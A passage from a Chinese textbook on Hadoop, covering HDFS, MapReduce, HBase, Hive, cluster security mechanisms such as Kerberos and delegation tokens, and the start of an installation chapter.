Interface）的要求，这样可以实现以流的形式访问文件系统中的数据。HDFS原本是开源的Apache项目Nutch的基础结构，最后它却成为了Hadoop基础架构之一。\n以下几个方面是HDFS的设计目标：\n检测和快速恢复硬件故障。硬件故障是计算机常见的问题。整个HDFS系统由数百甚至数千个存储着数据文件的服务器组成。而如此多的服务器则意味着高故障率，因此，故障的检测和快速自动恢复是HDFS的一个核心目标。\n流式的数据访问。HDFS使应用程序流式地访问它们的数据集。HDFS被设计成适合进行批量处理，而不是用户交互式处理。所以它重视数据吞吐量，而不是数据访问的反应速度。\n简化一致性模型。大部分的HDFS程序对文件的操作需要一次写入，多次读取。一个文件一旦经过创建、写入、关闭就不需要修改了。这个假设简化了数据一致性问题和高吞吐量的数据访问问题。\n通信协议。所有的通信协议都是在TCP/IP协议之上的。一个客户端和明确配置了端口的名字节点（NameNode）建立连接之后，它和名字节点的协议便是客户端协议（Client Protocal）。数据节点（DataNode）和名字节点之间则用数据节点协议（DataNode Protocal）。\n关于HDFS的具体介绍请参考本章1.3节。\n5）Chukwa：Chukwa是开源的数据收集系统，用于监控和分析大型分布式系统的数据。Chukwa是在Hadoop的HDFS和MapReduce框架之上搭建的，它继承了Hadoop的可扩展性和健壮性。Chukwa通过HDFS来存储数据，并依赖MapReduce任务处理数据。Chukwa中也附带了灵活且强大的工具，用于显示、监视和分析数据结果，以便更好地利用所收集的数据。\n6）Hive：Hive最早是由Facebook设计的，是一个建立在Hadoop基础之上的数据仓库，它提供了一些用于对Hadoop文件中的数据集进行数据整理、特殊查询和分析存储的工具。Hive提供的是一种结构化数据的机制，它支持类似于传统RDBMS中的SQL语言的查询语言，来帮助那些熟悉SQL的用户查询Hadoop中的数据，该查询语言称为Hive QL。与此同时，传统的MapReduce编程人员也可以在Mapper或Reducer中通过Hive QL查询数据。Hive编译器会把Hive QL编译成一组MapReduce任务，从而方便MapReduce编程人员进行Hadoop系统开发。\n7）HBase：HBase是一个分布式的、面向列的开源数据库，该技术来源于Google论文《Bigtable：一个结构化数据的分布式存储系统》。如同Bigtable利用了Google文件系统（Google File System）提供的分布式数据存储方式一样，HBase在Hadoop之上提供了类似于Bigtable的能力。HBase不同于一般的关系数据库，原因有两个：其一，HBase是一个适合于非结构化数据存储的数据库；其二，HBase是基于列而不是基于行的模式。HBase和Bigtable使用相同的数据模型。用户将数据存储在一个表里，一个数据行拥有一个可选择的键和任意数量的列。由于HBase表是疏松的，用户可以为行定义各种不同的列。HBase主要用于需要随机访问、实时读写的大数据（Big Data）。具体介绍请参考第12章。\n8）Pig：Pig是一个对大型数据集进行分析、评估的平台。Pig最突出的优势是它的结构能够经受住高度并行化的检验，这个特性使得它能够处理大型的数据集。目前，Pig的底层由一个编译器组成，它在运行的时候会产生一些MapReduce程序序列，Pig的语言层由一种叫做Pig Latin的正文型语言组成。有关Pig的具体内容请参考第14章。\n9）ZooKeeper：ZooKeeper是一个为分布式应用所设计的开源协调服务。它主要为用户提供同步、配置管理、分组和命名等服务，减轻分布式应用程序所承担的协调任务。ZooKeeper的文件系统使用了我们所熟悉的目录树结构。ZooKeeper是使用Java编写的，但是它支持Java和C两种编程语言。有关ZooKeeper的具体内容请参考第15章。\n上面讨论的9个项目在本书中都有相应的章节进行详细的介绍。\n1.3 Hadoop体系结构\n如上文所说，HDFS和MapReduce是Hadoop的两大核心。而整个Hadoop的体系结构主要是通过HDFS来实现分布式存储的底层支持的，并且它会通过MapReduce来实现分布式并行任务处理的程序支持。\n下面首先介绍HDFS的体系结构。HDFS采用了主从（Master/Slave）结构模型，一个HDFS集群是由一个NameNode和若干个DataNode组成的。其中NameNode作为主服务器，管理文件系统的命名空间和客户端对文件的访问操作；集群中的DataNode管理存储的数据。HDFS允许用户以文件的形式存储数据。从内部来看，文件被分成若干个数据块，而且这若干个数据块存放在一组DataNode上。NameNode执行文件系统的命名空间操作，比如打开、关闭、重命名文件或目录等，它也负责数据块到具体DataNode的映射。DataNode负责处理文件系统客户端的文件读写请求，并在NameNode的统一调度下进行数据块的创建、删除和复制工作。图1-3所示为HDFS的体系结构。\n图 1-3 HDFS体系结构图\nNameNode和DataNode都可以在普通商用计算机上运行。这些计算机通常运行的是GNU/Linux操作系统。HDFS采用Java语言开发，因此任何支持Java的机器都可以部署NameNode和DataNode。一个典型的部署场景是集群中的一台机器运行一个NameNode实例，其他机器分别运行一个DataNode实例。当然，并不排除一台机器运行多个DataNode实例的情况。集群中单一NameNode的设计大大简化了系统的架构。NameNode是所有HDFS元数据的管理者，用户需要保存的数据不会经过NameNode，而是直接流向存储数据的DataNode。\n接下来介绍MapReduce的体系结构。MapReduce是一种并行编程模式，利用这种模式软件开发者可以轻松地编写出分布式并行程序。在Hadoop的体系结构中，MapReduce是一个简单易用的软件框架，基于它可以将任务分发到由上千台商用机器组成的集群上，并以一种可靠容错的方式并行处理大量的数据集，实现Hadoop的并行任务处理功能。MapReduce框架是由一个单独运行在主节点的JobTracker和运行在每个集群从节点的TaskTracker共同组成的。主节点负责调度构成一个作业的所有任务，这些任务分布在不同的从节点上。主节点监控它们的执行情况，并且重新执行之前失败的任务；从节点仅负责由主节点指派的任务。当一个Job被提交时，JobTracker接收到提交作业和其配置信息之后，就会将配置信息等分发给从节点，同时调度任务并监控TaskTracker的执行。\n从上面的介绍可以看出，HDFS和MapReduce共同组成了Hadoop分布式系统体系结构的核心。HDFS在集群上实现了分布式文件系统，MapReduce在集群上实现了分布式计算和任务处理。HDFS在MapReduce任务处理过程中提供了对文件操作和存储等的支持，MapReduce在HDFS的基础上实现了任务的分发、跟踪、执行等工作，并收集结果，二者相互作用，完成了Hadoop分布式集群的主要任务。\n1.4 Hadoop与分布式开发\n我们通常所说的分布式系统其实是分布式软件系统，即支持分布式处理的软件系统。它是在通信网络互联的多处理机体系结构上执行任务的系统，包括分布式操作系统、分布式程序设计语言及其编译（解释）系统、分布式文件系统和分布式数据库系统等。Hadoop是分布式软件系统中文件系统层的软件，它实现了分布式文件系统和部分分布式数据库系统的功能。Hadoop中的分布式文件系统HDFS能够实现数据在计算机集群组成的云上高效的存储和管理，Hadoop中的并行编程框架MapReduce能够让用户编写的Hadoop并行应用程序运行得以简化。下面简单介绍一下基于Hadoop进行分布式并发编程的相关知识，详细的介绍请参看后面有关MapReduce编程的章节。\nHadoop上并行应用程序的开发是基于MapReduce编程模型的。MapReduce编程模型的原理是：利用一个输入的key/value对集合来产生一个输出的key/value对集合。MapReduce库的用户用两个函数来表达这个计算：Map和Reduce。\n用户自定义的Map函数接收一个输入的key/value对，然后产生一个中间key/value对的集合。MapReduce把所有具有相同key值的value集合在一起，然后传递给Reduce函数。用户自定义的Reduce函数接收key和相关的value集合。Reduce函数合并这些value值，形成一个较小的value集合。一般来说，每次调用Reduce函数只产生0或1个输出的value值。通常我们通过一个迭代器把中间value值提供给Reduce函数，这样就可以处理无法全部放入内存中的大量的value值集合了。\n图1-4是MapReduce的数据流图，体现MapReduce处理大数据集的过程。简而言之，这个过程就是将大数据集分解为成百上千个小数据集，每个（或若干个）数据集分别由集群中的一个节点（一般就是一台普通的计算机）进行处理并生成中间结果，然后这些中间结果又由大量的节点合并，形成最终结果。图1-4也说明了MapReduce框架下并行程序中的两个主要函数：Map、Reduce。在这个结构中，用户需要完成的工作是根据任务编写Map和Reduce两个函数。\n图 1-4 MapReduce数据流图\nMapReduce计算模型非常适合在大量计算机组成的大规模集群上并行运行。图1-4中的每一个Map任务和每一个Reduce任务均可以同时运行于一个单独的计算节点上，可想而知，其运算效率是很高的，那么这样的并行计算是如何做到的呢？下面将简单介绍一下其原理。\n1.数据分布存储\nHadoop分布式文件系统（HDFS）由一个名字节点（NameNode）和多个数据节点（DataNode）组成，每个节点都是一台普通的计算机。在使用方式上HDFS与我们熟悉的单机文件系统非常类似，利用它可以创建目录，创建、复制、删除文件，并且可以查看文件内容等。但文件在HDFS底层被切割成了Block，这些Block分散地存储在不同的DataNode上，每个Block还可以复制数份数据存储在不同的DataNode上，达到容错容灾的目的。NameNode则是整个HDFS的核心，它通过维护一些数据结构来记录每一个文件被切割成了多少个Block、这些Block可以从哪些DataNode中获得，以及各个DataNode的状态等重要信息。\n2.分布式并行计算\nHadoop中有一个作为主控的JobTracker，用于调度和管理其他的TaskTracker。JobTracker可以运行于集群中的任意一台计算机上；TaskTracker则负责执行任务，它必须运行于DataNode上，也就是说DataNode既是数据存储节点，也是计算节点。JobTracker将Map任务和Reduce任务分发给空闲的TaskTracker，让这些任务并行运行，并负责监控任务的运行情况。如果某一个TaskTracker出了故障，JobTracker会将其负责的任务转交给另一个空闲的TaskTracker重新运行。\n3.本地计算\n数据存储在哪一台计算机上，就由哪台计算机进行这部分数据的计算，这样可以减少数据在网络上的传输，降低对网络带宽的需求。在Hadoop这类基于集群的分布式并行系统中，计算节点可以很方便地扩充，因此它所能够提供的计算能力近乎无限。但是数据需要在不同的计算机之间流动，故而网络带宽变成了瓶颈。“本地计算”是一种最有效的节约网络带宽的手段，业界将此形容为“移动计算比移动数据更经济”。\n4.任务粒度\n在把原始大数据集切割成小数据集时，通常让小数据集小于或等于HDFS中一个Block的大小（默认是64MB），这样能够保证一个小数据集是位于一台计算机上的，便于本地计算。假设有M个小数据集待处理，就启动M个Map任务，注意这M个Map任务分布于N台计算机上，它们将并行运行，Reduce任务的数量R则可由用户指定。\n5.数据分割（Partition）\n把Map任务输出的中间结果按key的范围划分成R份（R是预先定义的Reduce任务的个数），划分时通常使用Hash函数（如hash（key）mod R），这样可以保证某一段范围内的key一定是由一个Reduce任务来处理的，可以简化Reduce的过程。\n6.数据合并（Combine）\n在数据分割之前，还可以先对中间结果进行数据合并（Combine），即将中间结果中有相同key的＜key, value＞对合并成一对。Combine的过程与Reduce的过程类似，在很多情况下可以直接使用Reduce函数，但Combine是作为Map任务的一部分、在执行完Map函数后紧接着执行的。Combine能够减少中间结果中＜key, value＞对的数目，从而降低网络流量。\n7.Reduce\nMap任务的中间结果在执行完Combine和Partition之后，以文件形式存储于本地磁盘上。中间结果文件的位置会通知主控JobTracker, JobTracker再通知Reduce任务到哪一个TaskTracker上去取中间结果。注意，所有的Map任务产生的中间结果均按其key值通过同一个Hash函数划分成了R份，R个Reduce任务各自负责一段key区间。每个Reduce需要向许多个Map任务节点取得落在其负责的key区间内的中间结果，然后执行Reduce函数，形成一个最终的结果文件。\n8.任务管道\n有R个Reduce任务，就会有R个最终结果。很多情况下这R个最终结果并不需要合并成一个最终结果，因为这R个最终结果又可以作为另一个计算任务的输入，开始另一个并行计算任务，这也就形成了任务管道。\n这里简要介绍了在并行编程方面Hadoop中MapReduce编程模型的原理、流程、程序结构和并行计算的实现，MapReduce程序的详细流程、编程接口、程序实例等请参见后面章节。\n1.5 Hadoop计算模型—MapReduce\nMapReduce是Google公司的核心计算模型，它将运行于大规模集群上的复杂的并行计算过程高度地抽象为两个函数：Map和Reduce。Hadoop是Doug Cutting受到Google发表的关于MapReduce的论文启发而开发出来的。Hadoop中的MapReduce是一个使用简易的软件框架，基于它写出来的应用程序能够运行在由上千台商用机器组成的大型集群上，并以一种可靠容错的方式并行处理上T级别的数据集，实现了Hadoop在集群上的数据和任务的并行计算与处理。\n一个Map/Reduce作业（Job）通常会把输入的数据集切分为若干独立的数据块，由Map任务（Task）以完全并行的方式处理它们。框架会先对Map的输出进行排序，然后把结果输入给Reduce任务。通常作业的输入和输出都会被存储在文件系统中。整个框架负责任务的调度和监控，以及重新执行已经失败的任务。\n通常，Map/Reduce框架和分布式文件系统是运行在一组相同的节点上的，也就是说，计算节点和存储节点在一起。这种配置允许框架在那些已经存好数据的节点上高效地调度任务，这样可以使整个集群的网络带宽得到非常高效的利用。\nMap/Reduce框架由一个单独的Master JobTracker和集群节点上的Slave TaskTracker共同组成。Master负责调度构成一个作业的所有任务，这些任务分布在不同的slave上。Master监控它们的执行情况，并重新执行已经失败的任务，而Slave仅负责执行由Master指派的任务。\n在Hadoop上运行的作业需要指明程序的输入/输出位置（路径），并通过实现合适的接口或抽象类提供Map和Reduce函数。同时还需要指定作业的其他参数，构成作业配置（Job Configuration）。在Hadoop的JobClient提交作业（JAR包/可执行程序等）和配置信息给JobTracker之后，JobTracker会负责分发这些软件和配置信息给slave及调度任务，并监控它们的执行，同时提供状态和诊断信息给JobClient。\n1.6 Hadoop数据管理\n前面重点介绍了Hadoop及其体系结构与计算模型MapReduce，现在开始介绍Hadoop的数据管理，主要包括Hadoop的分布式文件系统HDFS、分布式数据库HBase和数据仓库工具Hive。\n 1.6.1 HDFS的数据管理\nHDFS是分布式计算的存储基石，Hadoop分布式文件系统和其他分布式文件系统有很多类似的特性：\n对于整个集群有单一的命名空间；\n具有数据一致性，都适合一次写入多次读取的模型，客户端在文件没有被成功创建之前是无法看到文件存在的；\n文件会被分割成多个文件块，每个文件块被分配存储到数据节点上，而且会根据配置由复制文件块来保证数据的安全性。\n通过前面的介绍和图1-3可以看出，HDFS通过三个重要的角色来进行文件系统的管理：NameNode、DataNode和Client。NameNode可以看做是分布式文件系统中的管理者，主要负责管理文件系统的命名空间、集群配置信息和存储块的复制等。NameNode会将文件系统的Metadata存储在内存中，这些信息主要包括文件信息、每一个文件对应的文件块的信息和每一个文件块在DataNode中的信息等。DataNode是文件存储的基本单元，它将文件块（Block）存储在本地文件系统中，保存了所有Block的Metadata，同时周期性地将所有存在的Block信息发送给NameNode。Client就是需要获取分布式文件系统文件的应用程序。接下来通过三个具体的操作来说明HDFS对数据的管理。\n（1）文件写入\n1）Client向NameNode发起文件写入的请求。\n2）NameNode根据文件大小和文件块配置情况，返回给Client所管理的DataNode的信息。\n3）Client将文件划分为多个Block，根据DataNode的地址信息，按顺序将其写入到每一个DataNode块中。\n（2）文件读取\n1）Client向NameNode发起文件读取的请求。\n2）NameNode返回文件存储的DataNode信息。\n3）Client读取文件信息。\n（3）文件块（Block）复制\n1）NameNode发现部分文件的Block不符合最小复制数这一要求或部分DataNode失效。\n2）通知DataNode相互复制Block。\n3）DataNode开始直接相互复制。\n作为分布式文件系统，HDFS在数据管理方面还有值得借鉴的几个功能：\n文件块（Block）的放置：一个Block会有三份备份，一份放在NameNode指定的DataNode上，另一份放在与指定DataNode不在同一台机器上的DataNode上，最后一份放在与指定DataNode同一Rack的DataNode上。备份的目的是为了数据安全，采用这种配置方式主要是考虑同一Rack失败的情况，以及不同Rack之间进行数据复制会带来的性能问题。\n心跳检测：用心跳检测DataNode的健康状况，如果发现问题就采取数据备份的方式来保证数据的安全性。\n数据复制（场景为DataNode失败、需要平衡DataNode的存储利用率和平衡DataNode数据交互压力等情况）：使用Hadoop时可以用HDFS的balancer命令配置Threshold来平衡每一个DataNode的磁盘利用率。假设设置了Threshold为10%，那么执行balancer命令时，首先会统计所有DataNode的磁盘利用率的平均值，然后判断如果某一个DataNode的磁盘利用率超过这个平均值，那么将会把这个DataNode的Block转移到磁盘利用率低的DataNode上，这对于新节点的加入十分有用。\n数据校验：采用CRC32做数据校验。在写入文件块的时候，除了会写入数据外还会写入校验信息，在读取的时候则需要先校验后读入。\n单个NameNode：如果单个NameNode失败，任务处理信息将会记录在本地文件系统和远端的文件系统中。\n数据管道性的写入：当客户端要写入文件到DataNode上时，首先会读取一个Block，然后将其写到第一个DataNode上，接着由第一个DataNode将其传递到备份的DataNode上，直到所有需要写入这个Block的DataNode都成功写入后，客户端才会开始写下一个Block。\n安全模式：分布式文件系统启动时会进入安全模式（系统运行期间也可以通过命令进入安全模式），当分布式文件系统处于安全模式时，文件系统中的内容不允许修改也不允许删除，直到安全模式结束。安全模式主要是为了在系统启动的时候检查各个DataNode上数据块的有效性，同时根据策略进行必要的复制或删除部分数据块。在实际操作过程中，如果在系统启动时修改和删除文件会出现安全模式不允许修改的错误提示，只需要等待一会儿即可。\n1.6.2 HBase的数据管理\nHBase是一个类似Bigtable的分布式数据库，它的大部分特性和Bigtable一样，是一个稀疏的、长期存储的（存在硬盘上）、多维度的排序映射表，这张表的索引是行关键字、列关键字和时间戳。表中的每个值是一个纯字符数组，数据都是字符串，没有类型。用户在表格中存储数据，每一行都有一个可排序的主键和任意多的列。由于是稀疏存储的，所以同一张表中的每一行数据都可以有截然不同的列。列名字的格式是“＜family＞：＜label＞”，它是由字符串组成的，每一张表有一个family集合，这个集合是固定不变的，相当于表的结构，只能通过改变表结构来改变表的family集合。但是label值相对于每一行来说都是可以改变的。\nHBase把同一个family中的数据存储在同一个目录下，而HBase的写操作是锁行的，每一行都是一个原子元素，都可以加锁。所有数据库的更新都有一个时间戳标记，每次更新都会生成一个新的版本，而HBase会保留一定数量的版本，这个值是可以设定的。客户端可以选择获取距离某个时间点最近的版本，或者一次获取所有版本。\n以上从微观上介绍了HBase的一些数据管理措施。那么HBase作为分布式数据库在整体上从集群出发又是如何管理数据的呢？\nHBase在分布式集群上主要依靠由HRegion、HMaster、HClient组成的体系结构从整体上管理数据。\nHBase体系结构有三大重要组成部分：\nHBaseMaster：HBase主服务器，与Bigtable的主服务器类似。\nHRegionServer：HBase域服务器，与Bigtable的Tablet服务器类似。\nHBase Client：HBase客户端是由org.apache.hadoop.HBase.client.HTable定义的。\n下面将对这三个组件进行详细的介绍。\n（1）HBaseMaster\n一个HBase只部署一台主服务器，它通过领导选举算法（Leader Election Algorithm）确保只有唯一的主服务器是活跃的，ZooKeeper保存主服务器的服务器地址信息。如果主服务器瘫痪，可以通过领导选举算法从备用服务器中选择新的主服务器。\n主服务器承担着初始化集群的任务。当主服务器第一次启动时，会试图从HDFS获取根或根域目录，如果获取失败则创建根或根域目录，以及第一个元域目录。在下次启动时，主服务器就可以获取集群和集群中所有域的信息了。同时主服务器还负责集群中域的分配、域服务器运行状态的监视、表格的管理等工作。\n（2）HRegionServer\nHBase域服务器的主要职责有服务于主服务器分配的域、处理客户端的读写请求、本地缓冲区回写、本地数据压缩和分割域等功能。\n每个域只能由一台域服务器来提供服务。当它开始服务于某域时，它会从HDFS文件系统中读取该域的日志和所有存储文件，同时还会管理操作HDFS文件的持久性存储工作。客户端通过与主服务器通信获取域和域所在域服务器的列表信息后，就可以直接向域服务器发送域读写请求，来完成操作。\n（3）HBaseClient\nHBase客户端负责查找用户域所在的域服务器地址。HBase客户端会与HBase主机交换消息以查找根域的位置，这是两者之间唯一的交流。\n定位根域后，客户端连接根域所在的域服务器，并扫描根域获取元域信息。元域信息中包含所需用户域的域服务器地址。客户端再连接元域所在的域服务器，扫描元域以获取所需用户域所在的域服务器地址。定位用户域后，客户端连接用户域所在的域服务器并发出读写请求。用户域的地址将在客户端被缓存，后续的请求无须重复上述过程。\n综上所述，在HBase的体系结构中，HBase主要由主服务器、域服务器和客户端三部分组成。主服务器作为HBase的中心，管理整个集群中的所有域，监控每台域服务器的运行情况等；域服务器接收来自服务器的分配域，处理客户端的域读写请求并回写映射文件等；客户端主要用来查找用户域所在的域服务器地址信息。\n1.6.3 Hive的数据管理\nHive是建立在Hadoop上的数据仓库基础构架。它提供了一系列的工具，用来进行数据提取、转化、加载，这是一种可以存储、查询和分析存储在Hadoop中的大规模数据的机制。Hive定义了简单的类SQL的查询语言，称为Hive QL，它允许熟悉SQL的用户用SQL语言查询数据。作为一个数据仓库，Hive的数据管理按照使用层次可以从元数据存储、数据存储和数据交换三方面来介绍。\n（1）元数据存储\nHive将元数据存储在RDBMS中，有三种模式可以连接到数据库：\nSingle User Mode：此模式连接到一个In-memory的数据库Derby，一般用于Unit Test。\nMulti User Mode：通过网络连接到一个数据库中，这是最常用的模式。\nRemote Server Mode：用于非Java客户端访问元数据库，在服务器端启动一个。\nMetaStoreServer，客户端利用Thrift协议通过MetaStoreServer来访问元数据库。\n（2）数据存储\n首先，Hive没有专门的数据存储格式，也没有为数据建立索引，用户可以非常自由地组织Hive中的表，只需要在创建表的时候告诉Hive数据中的列分隔符和行分隔符，它就可以解析数据了。\n其次，Hive中所有的数据都存储在HDFS中，Hive中包含4种数据模型：Table、External Table、Partition和Bucket。\nHive中的Table和数据库中的Table在概念上是类似的，每一个Table在Hive中都有一个相应的目录来存储数据。例如，一个表pvs，它在HDFS中的路径为：/wh/pvs，其中，wh是在hive-site.xml中由${hive.metastore.warehouse.dir}指定的数据仓库的目录，所有的Table数据（不包括External Table）都保存在这个目录中。\n（3）数据交换\n数据交换主要分为以下几部分，如图1-5所示。\n用户接口：包括客户端、Web界面和数据库接口。\n元数据存储：通常存储在关系数据库中，如MySQL、Derby等。\n解释器、编译器、优化器、执行器。\nHadoop：利用HDFS进行存储，利用MapReduce进行计算。\n用户接口主要有三个：客户端、数据库接口和Web界面，其中最常用的是客户端。Client是Hive的客户端，当启动Client模式时，用户会想要连接Hive Server，这时需要指出Hive Server所在的节点，并且在该节点启动HiveServer。Web界面是通过浏览器访问Hive的。\nHive将元数据存储在数据库中，如MySQL、Derby中。Hive中的元数据包括表的名字、表的列、表的分区、表分区的属性、表的属性（是否为外部表等）、表的数据所在目录等。\n解释器、编译器、优化器完成Hive QL查询语句从词法分析、语法分析、编译、优化到查询计划的生成。生成的查询计划存储在HDFS中，并且随后由MapReduce调用执行。\nHive的数据存储在HDFS中，大部分的查询由MapReduce完成（包含*的查询不会生成MapRedcue任务，比如select*from tbl）。\n以上从Hadoop的分布式文件系统HDFS、分布式数据库HBase和数据仓库工具Hive入手介绍了Hadoop的数据管理，它们都通过自己的数据定义、体系结构实现了数据从宏观到微观的立体化管理，完成了Hadoop平台上大规模的数据存储和任务处理。\n图 1-5 Hive数据交换图\n1.7 Hadoop集群安全策略\n众所周知，Hadoop的优势在于其能够将廉价的普通PC组织成能够高效稳定处理事务的大型集群，企业正是利用这一特点来构架Hadoop集群、获取海量数据的高效处理能力的。但是，Hadoop集群搭建起来后如何保证它安全稳定地运行呢？旧版本的Hadoop中没有完善的安全策略，导致Hadoop集群面临很多风险，例如，用户可以以任何身份访问HDFS或MapReduce集群，可以在Hadoop集群上运行自己的代码来冒充Hadoop集群的服务，任何未被授权的用户都可以访问DataNode节点的数据块等。经过Hadoop安全小组的努力，在Hadoop 1.0.0版本中已经加入最新的安全机制和授权机制（Simple和Kerberos），使Hadoop集群更加安全和稳定。下面从用户权限管理、HDFS安全策略和MapReduce安全策略三个方面简要介绍Hadoop的集群安全策略。有关安全方面的基础知识如Kerberos认证等读者可自行查阅相关资料。\n（1）用户权限管理\nHadoop上的用户权限管理主要涉及用户分组管理，为更高层的HDFS访问、服务访问、Job提交和配置Job等操作提供认证和控制基础。\nHadoop上的用户和用户组名均由用户自己指定，如果用户没有指定，那么Hadoop会调用Linux的“whoami”命令获取当前Linux系统的用户名和用户组名作为当前用户的对应名，并将其保存在Job的user.name和group.name两个属性中。这样用户所提交Job的后续认证和授权以及集群服务的访问都将基于此用户和用户组的权限及认证信息进行。例如，在用户提交Job到JobTracker时，JobTracker会读取保存在Job路径下的用户信息并进行认证，在认证成功并获取令牌之后，JobTracker会根据用户和用户组的权限信息将Job提交到Job队列（具体细节参见本小节的HDFS安全策略和MapReduce安全策略）。\nHadoop集群的管理员是创建和配置Hadoop集群的用户，它可以配置集群，使用Kerberos机制进行认证和授权。同时管理员可以在集群的服务（集群的服务主要包括NameNode、DataNode、JobTracker和TaskTracker）授权列表中添加或更改某确定用户和用户组，系统管理员同时负责Job队列和队列的访问控制矩阵的创建。\n（2）HDFS安全策略\n用户和HDFS服务之间的交互主要有两种情况：用户机和NameNode之间的RPC交互获取待通信的DataNode位置，客户机和DataNode交互传输数据块。\nRPC交互可以通过Kerberos或授权令牌来认证。在认证与NameNode的连接时，用户需要使用Kerberos证书来通过初试认证，获取授权令牌。授权令牌可以在后续用户Job与NameNode连接的认证中使用，而不必再次访问Kerberos Key Server。授权令牌实际上是用户机与NameNode之间共享的密钥。授权令牌在不安全的网络上传输时，应给予足够的保护，防止被其他用户恶意窃取，因为获取授权令牌的任何人都可以假扮成认证用户与NameNode进行不安全的交互。需要注意的是，每个用户只能通过Kerberos认证获取唯一一个新的授权令牌。用户从NameNode获取授权令牌之后，需要告诉NameNode：谁是指定的令牌更新者。指定的更新者在为用户更新令牌时应通过认证确定自己就是NameNode。更新令牌意味着延长令牌在NameNode上的有效期。为了使MapReduce Job使用一个授权令牌，用户应将JobTracker指定为令牌更新者。这样同一个Job的所有Task都会使用同一个令牌。JobTracker需要保证这一令牌在整个任务的执行过程中都是可用的，在任务结束之后，它可以选择取消令牌。\n数据块的传输可以通过块访问令牌来认证，每一个块访问令牌都由NameNode生成，它们都是特定的。块访问令牌代表着数据访问容量，一个块访问令牌保证用户可以访问指定的数据块。块访问令牌由NameNode签发被用在DataNode上，其传输过程就是将NameNode上的认证信息传输到DataNode上。块访问令牌是基于对称加密模式生成的，NameNode和DataNode共享了密钥。对于每个令牌，NameNode基于共享密钥计算一个消息认证码（Message Authentication Code, MAC）。接下来，这个消息认证码就会作为令牌验证器成为令牌的主要组成部分。当一个DataNode接收到一个令牌时，它会使用自己的共享密钥重新计算一个消息认证码，如果这个认证码同令牌中的认证码匹配，那么认证成功。\n（3）MapReduce安全策略\nMapReduce安全策略主要涉及Job提交、Task和Shuffle三个方面。\n对于Job提交，用户需要将Job配置、输入文件和输入文件的元数据等写入用户home文件夹下，这个文件夹只能由该用户读、写和执行。接下来用户将home文件夹位置和认证信息发送给JobTracker。在执行过程中，Job可能需要访问多个HDFS节点或其他服务，因此，Job的安全凭证将以＜String key, binary value＞形式保存在一个Map数据结构中，在物理存储介质上将保存在HDFS中JobTracker的系统目录下，并分发给每个TaskTracker。Job的授权令牌将NameNode的URL作为其关键信息。为了防止授权令牌过期，JobTracker会定期更新授权令牌。Job结束之后所有的令牌都会失效。为了获取保存在HDFS上的配置信息，JobTracker需要使用用户的授权令牌访问HDFS，读取必需的配置信息。\n任务（Task）的用户信息沿用生成Task的Job的用户信息，因为通过这个方式能保证一个用户的Job不会向TaskTracker或其他用户Job的Task发送系统信号。这种方式还保证了本地文件有权限高效地保存私有信息。在用户提交Job后，TaskTracker会接收到JobTracker分发的Job安全凭证，并将其保存在本地仅对该用户可见的Job文件夹下。在与TaskTracker通信的时候，Task会用到这个凭证。\n当一个Map任务完成时，它的输出被发送给管理此任务的TaskTracker。每一个Reduce将会与TaskTracker通信以获取自己的那部分输出，此时，就需要MapReduce框架保证其他用户不会获取这些Map的输出。Reduce任务会根据Job凭证计算请求的URL和当前时间戳的消息认证码。这个消息认证码会和请求一起发到TaskTracker，而TaskTracker只会在消息认证码正确并且在封装时间戳的N分钟之内提供服务。在TaskTracker返回数据时，为了防止数据被木马替换，应答消息的头部将会封装根据请求中的消息认证码计算而来的新消息认证码和Job凭证，从而保证Reduce能够验证应答消息是由正确的TaskTracker发送而来。\n1.8 本章小结\n本章首先介绍了Hadoop分布式计算平台：它是由Apache软件基金会开发的一个开源分布式计算平台。以Hadoop分布式文件系统（HDFS）和MapReduce（Google MapReduce的开源实现）为核心的Hadoop为用户提供了系统底层细节透明的分布式基础架构。由于Hadoop拥有可计量、成本低、高效、可信等突出特点，基于Hadoop的应用已经遍地开花，尤其是在互联网领域。\n本章接下来介绍了Hadoop项目及其结构，现在Hadoop已经发展成为一个包含多个子项目的集合，被用于分布式计算，虽然Hadoop的核心是Hadoop分布式文件系统和MapReduce，但Hadoop下的Common、Avro、Chukwa、Hive、HBase等子项目提供了互补性服务或在核心层之上提供了更高层的服务。紧接着，简要介绍了以HDFS和MapReduce为核心的Hadoop体系结构。\n本章之后又从分布式系统的角度介绍了Hadoop是如何做到并行计算和数据管理的。分布式计算平台Hadoop实现了分布式文件系统和分布式数据库。Hadoop中的分布式文件系统HDFS能够实现数据在电脑集群组成的云上高效的存储和管理功能，Hadoop中的并行编程框架MapReduce基于HDFS来保证用户可以编写应用于Hadoop的并行应用程序。本章又介绍了Hadoop的数据管理，主要包括Hadoop的分布式文件系统HDFS、分布式数据库HBase和数据仓库工具Hive。它们都有自己完整的数据定义和体系结构，以及实现数据从宏观到微观的立体管理数据办法，这都为Hadoop平台的数据存储和任务处理打下了基础。\n本章最后还介绍了关于Hadoop的一些基本的安全策略，包括用户权限管理、HDFS安全策略和MapReduce安全策略，为用户的实际使用提供了参考。本章中的许多内容在本书后面的章节中会详细介绍。\n第2章 Hadoop的安装与配置\n本章内容\n在Linux上安装与配置Hadoop\n在Mac OSX上安装与配置Hadoop\n在Windows上安装与配置Hadoop\n安装和配置Hadoop集群\n日志分析及几个小技巧\n本章小结\nHadoop的安装非常简单，大家可以在官网上下载到最新的几个版本，截至本书截稿时，Hadoop的最新版本是1.0.1，下载网址为http：//apache.etoak.com//hadoop/core/。\nHadoop是为了在Linux平台上使用而开发的，但是在一些主流的操作系统如UNIX、Windows甚至Mac OS X系统上Hadoop也运行良好。不过，在Windows上运行Hadoop稍显复杂，首先必须安装Cygwin来模拟Linux环境，然后才能安装Hadoop。\n本章将介绍在Linux、Mac OS X和Windows系统上安装最新的Hadoop1.0.1版本，其中，Linux系统是Ubuntu 11.10，Mac OS X系统是10.7.3版本，Windows系统采用Windows Xp sp3。这些安装步骤均由笔者成功实践过，大家可直接参照执行。\n2.1 在Linux上安装与配置Hadoop\n在Linux上安装Hadoop之前，需要先安装两个程序：\n1）JDK 1. 6（或更高版本）。Hadoop是用Java编写的程序，Hadoop的编译及MapReduce的运行都需要使用JDK。因此在安装Hadoop前，必须安装JDK 1.6或更高版本。\n2）SSH（安全外壳协议），推荐安装OpenSSH。Hadoop需要通过SSH来启动Slave列表中各台主机的守护进程，因此SSH也是必须安装的，即使是安装伪分布式版本（因为Hadoop并没有区分开集群式和伪分布式）。对于伪分布式，Hadoop会采用与集群相同的处理方式，即按次序启动文件conf/slaves中记载的主机上的进程，只不过在伪分布式中Salve为localhost（即为自身），所以对于伪分布式Hadoop, SSH一样是必需的。\n 2.1.1 安装JDK 1.6\n下面介绍安装JDK 